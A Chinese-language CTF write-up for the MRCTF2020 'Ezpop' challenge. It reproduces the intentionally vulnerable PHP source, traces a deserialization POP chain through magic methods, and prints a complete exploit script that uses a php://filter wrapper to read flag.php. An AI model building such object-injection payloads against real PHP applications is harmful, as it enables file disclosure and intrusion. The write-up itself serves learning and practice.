[MRCTF2020]Ezpop

知识点

PHP反序列化
代码审计
POP链

审题

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}


var是protected类型 在编写pop的时候要改成public(别问为什么
先是注意到最后要传的pop参数以及unserialize 意识到这是一道序列化的题目 并且感觉三个类应该是要构造pop链
把三个类分开分析

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

Modifier类里面的include($value)是我们最终希望利用的点 我们希望用include包含flag文件 得到flag 我们的最终目标是调用__invoke()魔术方法 这里贴上__invoke()魔术方法被调用条件
__invoke():当一个类以按一个函数的方法被调用时调用该魔术方法
于是先往下看一下有没有符合的条件

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

发现了__get()魔术方法里边的$function被按照函数的方法被调用 如果我们能把$function实例化也就是$p实例化成一个对象 那么就可以调用__invoke() 于是现在注意点到了__get()魔术方法
这里也贴上__get()魔术方法的调用条件
__get():当调用一个不存在的或者是无法访问的属性的时候被调用
向上寻找利用条件的时候 注意到了class类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class类里面的__toString()魔术方法如果被调用 那么会返回$this->str->source语句 这就很有意思了 如果说我们把str实例化成一个类 那么如果str类里面没有source属性 那么就满足__get()魔术方法的条件
于是寻找如何调用__toString()
这边也贴上__toString()魔术方法调用条件
__toString():当一个对象被当作字符串对待的时候执行该魔术方法
这个条件其实很大 也就是说只要是能进行字符串处理的地方 都有可能满足条件 看到了__wakeup()下面的正则表达式 这里正则表达式对字符串进行过滤 而过滤的对象就是$this->source 我们需要把$this->source实例化成一个对象 但是其实这个$this->source在上面__construct()处理时 已经有$file赋值了 也就是说到时候实例化一个Show()类时 传上一个类 就可以满足这题的所有pop链了

  • POP链
    整理一下pop链:实例化一个Show类 调用__wakeup() 如果实例化的时候能传入一个类 那就能触发_toString() str实例化成一个没有source属性的类 进而从而触发__get() 让$p也实例化成Modifier类 这样触发__get()之 $function()就能到Modifier类 从而触发__invoke() 得到flag

EXP

<?php
class Modifier {
    public  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
    public $p;
}
class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    }
}
$a = new Show(aaa);//实例化Show 传入aaa只是为了满足__construct
$a->str=new Test();//实例化成一个没有source属性的类
$a->str->p = new Modifier();//实例化p
$b=new Show($a);//因为我们要传入$file=一个类 这样$this->source=$file之后 在正则过滤时 就是一个类被当作字符串对待 触发__toString
echo urlencode(serialize($b));//输出
?>

EOF

原文地址:https://www.cnblogs.com/zhwyyswdg/p/13999515.html